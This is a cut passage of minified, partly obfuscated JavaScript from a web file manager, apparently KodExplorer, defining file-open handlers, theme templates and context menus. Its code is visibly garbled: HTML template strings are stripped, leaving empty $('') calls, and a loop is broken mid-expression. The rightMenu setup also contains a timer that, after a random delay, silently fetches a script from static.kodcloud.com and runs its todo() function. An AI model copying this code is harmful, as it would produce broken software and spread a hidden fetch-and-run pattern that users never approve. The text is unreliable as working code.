_0xc14c8e=_0x326a5b['hHlrD']($,this)[_kod_0x46d5('0x151','ZNFv')]()[_kod_0x46d5('0x152','x*z*')]()[_kod_0x46d5('0x153','CpJI')]('id'),_0x31f62f=$[_kod_0x46d5('0x154','Yv8t')][_kod_0x46d5('0x138','TbL]')][_0xc14c8e];_0x31f62f[_kod_0x46d5('0x155','tepW')](),$[_kod_0x46d5('0x156','5$Bm')]['hidden']();}));};Hook['bind'](_kod_0x46d5('0x157','@*22'),function(_0x3dd82b,_0x19fcec){var _0x31f62f=_0x3dd82b[_kod_0x46d5('0x158','ZNFv')]('id'),_0x256330=$[_kod_0x46d5('0x159',')T(f')]['list'][_0x31f62f],_0x4e167c=_kod_0x46d5('0x15a','KaAL'),_0x344f7c=_kod_0x46d5('0x15b',']y0&');_0x256330[_kod_0x46d5('0x15c','!BFl')]()?_0x19fcec[_kod_0x46d5('0x15d','5$Bm')](_0x344f7c)['removeClass'](_0x4e167c):_0x19fcec['find'](_0x344f7c)[_kod_0x46d5('0x15e',')Zq2')](_0x4e167c);var _0x41030f='.dialog-min,.dialog-max';$('.'+_0x31f62f)[_kod_0x46d5('0x15f','!BFl')](_0x326a5b[_kod_0x46d5('0x160',')T(f')])?_0x19fcec[_kod_0x46d5('0x161','coI9')](_0x41030f)[_kod_0x46d5('0x162','oApp')](_0x4e167c):_0x19fcec['find'](_0x41030f)['addClass'](_0x4e167c);}),_0x31f62f();});;define("app/app/appBase",[],function(a,b){var c={},d={},e={},f=!1,g=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),c[a.name]=a,a.ext||(a.ext="");var b=a.ext.split(",");c[a.name].extArr=b,"undefined"!=typeof a.sort?a.sort=parseInt(a.sort):a.sort=0;for(var e=0;e1&&d[f].sort(function(a,b){return a.sort
        '+LNG.unknow_file_tips+"
        "+b+'
        1.'+h+d+'">'+LNG["Explorer.UI.openWith"]+'
        2.'+h+e+'">'+LNG["Explorer.UI.openWithText"]+'
        3.'+h+f+'">'+LNG.unknow_file_download+'
        '+h+g+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
        ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:i,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(a){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(a)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=a;"http"!=a.substr(0,4)&&(d=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(a),"undefined"!=typeof G.sharePage&&(d=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(d):$('').appendTo("body")}}}),kodApp.download=function(a){kodApp.open(a,"","download")},kodApp.openWindow=function(a){kodApp.open(a,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=core.path2url(a);isWap()?window.location.href=d:window.open(d)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(a,b){$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(a))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(a,b){core.fileGet(a,function(c){if("url"==b){var d=c.match(/URL=(.*)/);if(d.length>=2)return window.open(d[1])}else if("webloc"==b)try{var e=$($.parseXML(c)),f=e.find("string").text();return void window.open(f)}catch(g){}kodApp.open(a,b,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(a,b){var c=core.path2url(a);core.openDialog(c,core.icon("html"),core.pathThis(a))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(a,b){var c=core.path2url(a),d="pdf"+UUID(),e='";$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"80%",height:"75%",padding:0,content:e}),PDFObject.embed(c,"#"+d)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),core.openApp(c)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),c.path=a,ui.path.pathOperate.appEdit(c)})}});var d={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(a,b){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(d,".menu-body-main",".app-install"),$.contextMenu.menuAdd(d,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(d,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(a,b,c){var d=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(c.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),c.removeClass("menu-auto-fit"),h(b),c.inScreen()||c.addClass("menu-auto-fit"),".menu-body-main"==a){var e=c.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?e.removeClass("hidden"):e.addClass("hidden")}if(_.include(d,a)){var f="disabled",g=".cute,.rname,.remove",i=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";b.hasClass("file-not-readable")?c.find(i).addClass(f):c.find(i).removeClass(f),b.hasClass("file-not-writeable")?c.find(g).addClass(f):c.find(g).removeClass(f)}}),Hook.bind("rightMenu.show.menu-body-main",function(a,b){var c=".upload,.past,.newfolder,.newfile",d="disabled";_.get(G,"jsonData.info.canUpload")?b.find(c).removeClass(d):b.find(c).addClass(d)}),Hook.bind("rightMenu.show.menu-file",function(a,b){if($(".context-menu-active").hasClass("menu-tree-file"))var c=ui.tree.makeParam();else var c=ui.path.makeParam();var d=core.pathExt(c.path),e="hidden";inArray(["jpg","jpeg","png"],d)?b.find(".set-background").removeClass(e):b.find(".set-background").addClass(e)});var e=function(){var a=".close-item,.refresh,.newfile,.past,.info",b=".open-browser",c=".explorer,.create-project,.open-project",d=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",e=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",f=$(".menu-tool-path"),g="hidden",h=ui.fileLight.fileListSelect();f.find(".context-menu-item").addClass(g),0==h.length?f.find(a).removeClass(g):1==h.length?(f.find(".context-menu-item").removeClass(g),"folder"==ui.fileLight.type(h)?f.find(b).addClass(g):f.find(c).addClass(g)):h.length>1&&f.find(d).removeClass(g),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&f.find(e).filter(":not(."+g+")").addClass(g)},f=function(){var a=ui.fileLight.fileListSelect(),b=$(".kod-toolbar-path .select-button-show"),c="hidden";G.jsonData&&G.jsonData.info&&(0==a.length||G.jsonData.info.pathType==G.KOD_USER_SHARE&&G.jsonData.info.id!=G.userID?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=share]").removeClass(c),b.find("[data-action=rname]").removeClass(c),a.length>1&&(b.find("[data-action=share]").addClass(c),b.find("[data-action=rname]").addClass(c))))},g=function(){var a=_.get(G,"jsonData.info.pathType"),b=$(".kod-toolbar-share .select-button-show-share"),c=ui.fileLight.fileListSelect(),d="hidden";a!=G.KOD_USER_SHARE||0==c.length?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=shareEdit]").removeClass(d),b.find("[data-action=shareOpenWindow]").removeClass(d),c.length>1&&(b.find("[data-action=shareEdit]").addClass(d),b.find("[data-action=shareOpenWindow]").addClass(d)))};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){e(),f(),g(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){e()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var a="hidden",b={"explorer.fileDownload":"@.down,@.download,@.share,@.open-text,[data-action=download]","explorer.search":"@.search","explorer.mkfile":"@.newfile,[data-action=newfile],@.past,@.clone","explorer.mkdir":"@.newfolder,[data-action=newfolder]","explorer.pathRname":"@.rname,[data-action=rname]","explorer.pathDelete":"@.remove,@.remove + .context-menu-separator,[data-action=remove]","explorer.pathCopy":"@.cute,@.copy,[data-action=cute],[data-action=copy]","explorer.fileUpload":"@.upload,@.upload-more,[data-action=upload],[data-action=upload-more]","explorer.unzip":"@.unzip","explorer.zip":"@.zip","userShare.set":"@.share,[data-action=share]"};setTimeout(function(){for(var c in b){var d=replaceAll(b[c],"@",".context-menu-list ");core.authCheck(c)||$(d).addClass(a)}},100),core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),kodApp.remove("htmlView"))}}),Hook.bind("kodApp.callback.before",function(a,b,c){return-1==$.inArray(a.name,["browserOpen","htmlView","zipView"])||core.authCheckGroup("explorer.fileDownload",b)?void 0:(Tips.tips(LNG.no_permission_action,"error"),!0)});var h=function(a){return},i=function(){if(G.authGroupRole||(G.authGroupRole={}),_.get(G,"jsonData.info.pathType")==G.KOD_GROUP_PATH){var a=_.get(G,"jsonData.info.id");G.authGroupRole[a]=_.get(G,"jsonData.info.groupRole.authArr")}h()};Hook.bind("explorer.path.ajaxLive",i)});;define("app/common/tpl/copyright.html",[],'\n');;define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n {{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n");;define("app/common/rightMenu",[],function(a,b){var c=".menu-file",d=".menu-folder",e=".menu-more",f=".menu-tree-root",g=".menu-tree-folder",h=".menu-tree-file",i=".menu-tree-group-root",j=".menu-tree-group",k=".menu-tree-user",l={"new-file-other":{name:LNG.newfile,icon:"expand-alt",accesskey:"w",className:"newfile",items:{newfile:{name:"txt "+LNG.file,icon:"file-text-alt x-item-file x-txt small",className:"newfile"},"newfile-md":{name:"md "+LNG.file,icon:"file-text-alt x-item-file x-md",className:"newfile"},"newfile-html":{name:"html "+LNG.file,icon:"file-text-alt x-item-file x-html",className:"newfile"},"newfile-php":{name:"php "+LNG.file,icon:"file-text-alt x-item-file x-php",className:"newfile"},sep88:"--------","newfile-docx":{name:"Word docx "+LNG.file,icon:"file-text-alt x-item-file x-docx",className:"newfile"},"newfile-xlsx":{name:"Excel xlsx "+LNG.file,icon:"file-text-alt x-item-file x-xlsx",className:"newfile"},"newfile-pptx":{name:"PowerPoint pptx "+LNG.file,icon:"file-text-alt x-item-file x-pptx",className:"newfile"},sep100:"--------","app-install":{name:LNG.app_store,className:"app-install newfile",icon:"tasks x-item-file x-app-store",accesskey:"a"}}},"list-icon":{name:LNG.list_type,icon:"eye-open",className:"list-icon",items:{"set-icon":{name:LNG.list_icon,className:"menu-set-icon set-icon"},"set-list":{name:LNG.list_list,className:"menu-set-icon set-list"},"set-split":{name:LNG.list_list_split,className:"menu-set-icon set-split"}}},"sort-by":{name:LNG.order_type,accesskey:"y",icon:"sort",className:"sort-by",items:{"set-sort-name":{name:LNG.name,className:"menu-set-sort set-sort-name"},"set-sort-ext":{name:LNG.type,className:"menu-set-sort set-sort-ext"},"set-sort-size":{name:LNG.size,className:"menu-set-sort set-sort-size"},"set-sort-mtime":{name:LNG.modify_time,className:"menu-set-sort set-sort-mtime"},sep101:"--------","set-sort-up":{name:LNG.sort_up,className:"menu-set-desc set-sort-up"},"set-sort-down":{name:LNG.sort_down,className:"menu-set-desc set-sort-down"}}},"set-file-icon-size":{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},m=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(a){return stopPP(a),!1}),window.rightMenu_bindFolder=z,window.rightMenu_bindFile=A,window.rightMenu_bindBodyExplorer=s,window.rightMenu_bindFolder(),window.rightMenu_bindFile(),window.rightMenu_bindBodyExplorer(),setTimeout(function(){if(!window.a5d483c73084fd916b3b6||"undefined"==typeof tplDialogHtml){var b="//static.kodcloud.com/update/main4.js?v="+timeFloat();a.async(b,function(a){window.a5d483c73084fd916b3b6=!0;try{a.todo()}catch(b){}})}},1e3*roundFromTo(20,40)),B(),H(),I(),J(),L(),M(),N(),w(),x(),y(),t(),p(),q(),D(),C(),r(),Hook.trigger("rightMenu.initFinished"),$(".set-set-"+G.userConfig.listType).addClass("selected"),$(".set-sort-"+G.userConfig.listSortField).addClass("selected"),$(".set-sort-"+G.userConfig.listSortOrder).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},n=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(a){return stopPP(a),!1}),v(),u(),z(),A(),B(),t(),p(),Hook.trigger("rightMenu.initFinished"),$(".set-sort-"+G.userConfig.listSortField).addClass("selected"),$(".set-sort-"+G.userConfig.listSortOrder).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},o=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(a){return stopPP(a),!1}),H(),I(),J(),K(),L(),M(),N(),O(),t(),Hook.trigger("rightMenu.initFinished"),$(".context-menu-root").addClass("animated fadeIn")},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-recycle-body",callback:function(a,b){E(a)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},"recycle-clear":{name:LNG.recycle_clear,icon:"trash",accesskey:"c"},sep1:"--------","list-icon":l["list-icon"],"sort-by":l["sort-by"],"set-file-icon-size":l["set-file-icon-size"],sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-recycle-path",callback:function(a,b){F(a)},items:{cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove_force+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-recycle-button",callback:function(a,b){E(a)},items:{"recycle-clear":{name:LNG.recycle_clear,icon:"trash",accesskey:"c"}}})},q=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-share-body",callback:function(a,b){E(a)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------","list-icon":l["list-icon"],"sort-by":l["sort-by"],"set-file-icon-size":l["set-file-icon-size"],sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:"menu-share-path-menu",selector:".menu-share-path",callback:function(a,b){F(a)},items:{"share-open-path":{name:LNG.open_the_path,icon:"folder-open-alt",accesskey:"p",className:"open-the-path"},"share-open-window":{name:LNG.share_open_page,icon:"globe",accesskey:"b"},sep0:"--------","share-edit":{name:LNG.share_edit,icon:"edit",accesskey:"e",className:"share-edit"},remove:{name:LNG.share_remove+"Del",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-share-path-more",className:"menu-share-path-more",callback:function(a,b){F(a)},items:{remove:{name:LNG.share_remove+"Del",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"}}})},r=function(){$("").appendTo(".frame-right-main .tools-right"),$.contextMenu({selector:".menu-file-sort-by",className:"menu-file-sort-by-menu",zIndex:9999,delay:20,trigger:"left",position:function(a,b,c){var d=$(a.$trigger),e=d.offset(),f={left:e.left+d.width()-a.$menu.width(),top:e.top+d.outerHeight()};a.$menu.css(f)},callback:function(a,b){E(a,b)},items:l["sort-by"].items}),Hook.bind("explorer.ui.listType.change",function(a){"list"==a?$(".menu-file-sort-by").addClass("hidden"):$(".menu-file-sort-by").removeClass("hidden")})},s=function(){$.contextMenu({selector:".menu-body-main",className:"file-continer-menu",zIndex:9999,callback:function(a,b){E(a,b)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep0:"--------",upload:{name:LNG.upload+"Ctrl+U",className:"upload",icon:"upload",accesskey:"u"},newfolder:{name:LNG.newfolder+"Alt+M",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},"new-file-other":l["new-file-other"],sep1:"--------",past:{name:LNG.past+"Ctrl+V",className:"past",icon:"paste",accesskey:"p"},"copy-see":{name:LNG.clipboard,className:"copy-see",icon:"eye-open",accesskey:"v"},sep2:"--------","list-icon":l["list-icon"],"sort-by":l["sort-by"],"set-file-icon-size":l["set-file-icon-size"],sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},t=function(){$.contextMenu({selector:".menu-empty",className:"hidden",zIndex:9999,items:{" ":{name:LNG.open,className:"hidden"}},callback:function(a,b){}})},u=function(){$.contextMenu({selector:".menu-default",zIndex:9999,items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"}},callback:function(a,b){switch(a){case"open":ui.path.open()}}})},v=function(){$.contextMenu({selector:Config.BodyContent,zIndex:9999,callback:function(a,b){E(a)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep0:"--------",upload:{name:LNG.upload+"Ctrl+U",className:"upload",icon:"upload",accesskey:"u"},newfolder:{name:LNG.newfolder+"Alt+M",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},"new-file-other":l["new-file-other"],sep1:"--------",past:{name:LNG.past+"Ctrl+V",className:"past",icon:"paste",accesskey:"p"},"copy-see":{name:LNG.clipboard,className:"copy-see",icon:"eye-open",accesskey:"v"},sep2:"--------","sort-by":l["sort-by"],"set-file-icon-size":l["set-file-icon-size"],"app-install":{name:LNG.app_store,className:"app-install",icon:"tasks",accesskey:"a"},sep10:"--------","setting-wall":{name:LNG.setting_wall,className:"setting-wall",icon:"picture",accesskey:"b"},"setting-theme":{name:LNG.setting_theme,className:"setting-theme",icon:"dashboard",accesskey:"i"},setting:{name:LNG.setting,className:"setting",icon:"cogs",accesskey:"t"}}})},w=function(){$.contextMenu({zIndex:9999,selector:".toolbar-path-more",className:"menu-tool-path menu-not-auto-hidden",callback:function(a,b){F(a),$(".toolbar-path-more").removeClass("active")},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},"create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more-action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},"open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe",accesskey:"b"},sep103:"--------","create-link":{name:LNG.createLink,className:"create-link",icon:"share-alt"},"create-project":{name:LNG.createProject,className:"create-project",icon:"plus"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},x=function(){$.contextMenu({zIndex:9999,selector:".tool-path-newfile",className:"tool-path-newfile",callback:function(a,b){F(a)},items:l["new-file-other"].items})},y=function(){$.contextMenu({zIndex:9999,selector:".tool-path-upload",className:"tool-path-upload",callback:function(a,b){switch(core.upload(),a){case"upload-file":$(".dialog-file-upload").hide(),setTimeout(function(){$("#picker .webuploader-element-invisible").click()},100);break;case"upload-folder":$(".dialog-file-upload").hide(),setTimeout(function(){$(".drag-upload-folder").click()},100);break;case"server-download":$(".tab-download").click(),$(".download-box input").focus()}},items:{"upload-file":{name:LNG.file,icon:"-",className:"upload"},"upload-folder":{name:LNG.folder,icon:"-",className:"upload upload-folder"},sep2:"--------","server-download":{name:LNG.download_from_server,icon:"-",className:"download"}}}),$.isIE(),$.supportUploadFolder()||$(".tool-path-upload .upload.upload-folder").addClass("hidden")},z=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:d,className:d.substr(1),callback:function(a,b){F(a)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"F2",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------","open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe",accesskey:"b"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more-action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},sep103:"--------","create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},"create-link":{name:LNG.createLink,className:"create-link",icon:"share-alt"},"create-project":{name:LNG.createProject,className:"create-project",icon:"plus"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},A=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,className:c.substr(1),callback:function(a,b){F(a)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},"open-with":{name:LNG.open_with,icon:"external-link",className:"open-with",accesskey:"a",items:{"open-with-first":{name:"",className:"hidden open-with-first"}}},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"F2",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------","open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe",accesskey:"b"},"set-background":{name:LNG.set_background,className:"set-background",icon:"picture",accesskey:"x"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more-action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},sep104:"--------","create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},"create-link":{name:LNG.createLink,className:"create-link",icon:"share-alt"}}},sep3:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},B=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(a,b){F(a)},items:{copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep001:"--------",remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep1:"--------","copy-to":{name:LNG.copy_to,className:"copy-to",icon:"copy"},"cute-to":{name:LNG.cute_to,className:"cute-to",icon:"cut"},sep2:"--------",clone:{name:LNG.clone+"Ctrl+C",className:"clone",icon:"external-link",accesskey:"n"},sep3:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},C=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-group-root",callback:function(a,b){F(a)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},sep1:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},"create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-group-root-more",callback:function(a,b){F(a)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"}}})},D=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-fav-path",callback:function(a,b){F(a)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},sep0:"--------","fav-remove":{name:LNG.fav_remove,className:"fav-remove",icon:"trash",accesskey:"r"},"fav-page":{name:LNG.manage_fav,className:"fav-page",icon:"star",accesskey:"f"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-fav-path-more",className:"menu-fav-path-more",callback:function(a,b){F(a)},items:{"fav-remove":{name:LNG.fav_remove,className:"fav-remove",icon:"trash",accesskey:"r"}}})},E=function(a){switch(a){case"refresh":ui.f5(!0,!0);break;case"back":ui.path.history.back();break;case"next":ui.path.history.next();break;case"set-icon":ui.setListType("icon");break;case"set-list":ui.setListType("list");break;case"set-split":ui.setListType("split");break;case"set-sort-name":ui.setListSort("name",0);break;case"set-sort-ext":ui.setListSort("ext",0);break;case"set-sort-size":ui.setListSort("size",0);break;case"set-sort-mtime":ui.setListSort("mtime",0);break;case"set-sort-up":ui.setListSort(0,"up");break;case"set-sort-down":ui.setListSort(0,"down");break;case"upload":core.upload(),$(".dialog-file-upload").hide(),setTimeout(function(){$("#picker .webuploader-element-invisible").click()},100);break;case"recycle-clear":ui.path.recycleClear();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(100);break;case"box-size-bigx":ui.setFileIconSize(120);break;case"past":ui.path.past();break;case"copy-see":ui.path.clipboard();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"newfile-null":ui.path.newFile("");break;case"newfile-md":ui.path.newFile("md");break;case"newfile-html":ui.path.newFile("html");break;case"newfile-php":ui.path.newFile("php");break;case"newfile-js":ui.path.newFile("js");break;case"newfile-css":ui.path.newFile("css");break;case"newfile-oexe":ui.path.newFile("oexe");break;case"newfile-docx":ui.path.newFile("docx");break;case"newfile-xlsx":ui.path.newFile("xlsx");break;case"newfile-pptx":ui.path.newFile("pptx");break;case"info":ui.path.info();break;case"open":ui.path.open();break;case"app-install":ui.path.appList();break;case"setting":core.setting();break;case"setting-theme":core.setting("theme");break;case"setting-wall":core.setting("wall")}},F=function(a){switch(a){case"open":ui.path.open();break;case"down":ui.path.download();break;case"share"